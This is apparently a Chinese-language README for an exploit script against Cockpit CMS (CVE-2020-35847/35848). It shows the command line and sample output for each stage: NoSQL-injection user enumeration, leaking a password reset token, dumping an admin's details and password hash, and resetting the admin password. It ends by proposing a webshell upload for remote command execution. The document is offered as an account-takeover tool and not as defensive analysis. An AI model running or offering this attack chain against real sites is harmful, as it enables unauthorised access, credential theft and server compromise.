
CVE-2020-35847, CVE-2020-35848 : Account Takeover
Cockpit CMS 0.11.2之前版本在 /auth/resetpassword 和 /auth/newpassword 接口中存在NoSQL注入漏洞,可导致密码重置令牌泄露,进而实现用户信息枚举及密码重置。
此Python脚本用于枚举系统用户并重置密码。
python3 exploit.py -u http://cockpit-site-url
脚本首先枚举系统用户。
[+] http://cockpit-site-url: 可访问
[-] 正在尝试用户名枚举 (CVE-2020-35846) :
[+] 发现用户 : ['admin', 'user1', 'user2', 'user3']
接着你可以选择要获取更多信息的用户。此操作还会生成该用户的重置令牌,这是密码重置的关键条件。
[-] 获取用户详情 针对 : admin
[+] 正在查找密码重置令牌
找到令牌 : ['rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e']
[+] 获取用户信息
-----------------详细信息--------------------
[*] 用户 : admin
[*] 名称 : Admin
[*] 邮箱 : [email protected]
[*] 激活 : True
[*] 组 : admin
[*] 密码 : $2y$10$6uQ2PXh4vShH.D4gw..WtO0NHQq7J36ugmwKNtJGzu9p9OqSEpVUW
[*] 语言 : en
[*] _created : 1621655201
[*] _modified : 1621655201
[*] _id : 60a87ea165343539ee000300
[*] _reset_token : rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e
[*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
最后你可以选择重置该用户的密码。
[+] 是否要为 admin 重置密码? (Y/n): y
[-] 正在尝试重置 admin 的密码:
[+] 密码更新成功!
[+] admin 的新凭据为:
用户名 : admin
密码 : new_random_password
然后你可以选择通过 /finder 组件上传webshell以获得远程命令执行。